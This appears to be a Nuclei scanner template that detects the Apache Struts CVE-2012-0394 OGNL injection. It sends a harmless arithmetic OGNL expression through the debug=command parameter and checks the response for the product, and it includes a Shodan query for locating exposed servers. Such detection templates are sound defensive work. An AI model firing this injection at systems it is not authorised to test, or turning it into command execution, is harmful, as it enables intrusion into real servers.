id: CVE-2012-0394

info:
  name: Apache Struts <2.3.1.1 - Remote Code Execution
  author: tess
  severity: medium
  description: |
    Apache Struts before 2.3.1.1 is susceptible to remote code execution. When developer mode is used in the DebuggingInterceptor component, a remote attacker can execute arbitrary OGNL commands via unspecified vectors, which can allow for execution of malware, obtaining sensitive information, modifying data, and/or gaining full control over a compromised system without entering necessary credentials.. NOTE: the vendor characterizes this behavior as not "a security vulnerability itself."
  impact: |
    Successful exploitation of this vulnerability allows remote attackers to execute arbitrary code on the affected server.
  remediation: |
    Upgrade Apache Struts to a version higher than 2.3.1.1 or apply the necessary patches.
  reference:
    - https://www.pwntester.com/blog/2014/01/21/struts-2-devmode-an-ognl-backdoor/
    - https://www.exploit-db.com/exploits/31434
    - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-0394
    - http://www.exploit-db.com/exploits/18329
    - https://nvd.nist.gov/vuln/detail/CVE-2012-0394
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2012-0394
    cwe-id: CWE-94
    epss-score: 0.94527
    epss-percentile: 0.99071
    cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: apache
    product: struts
    shodan-query: html:"Struts Problem Report"
  tags: cve,cve2012,ognl,injection,edb,apache,struts
variables:
  first: "{{rand_int(1000, 9999)}}"
  second: "{{rand_int(1000, 9999)}}"
  result: "{{to_number(first)*to_number(second)}}"

http:
  - method: GET
    path:
      - '{{BaseURL}}/portal/displayAPSForm.action?debug=command&expression={{first}}*{{second}}'

    matchers-condition: and
    matchers:
      - type: word
        words:
          - '{{result}}'

      - type: status
        status:
          - 200
# digest: 4a0a0047304502201c0033f7d56e0c4a4fd3683b701ad52e9bfbc45406087f58789beb95e48a07b4022100aa2ad6d34f8e3503d13c60241edcdd958389ba9fbf8c1c2397823123707fd2e0:922c64590222798bb761d5b6d8e72950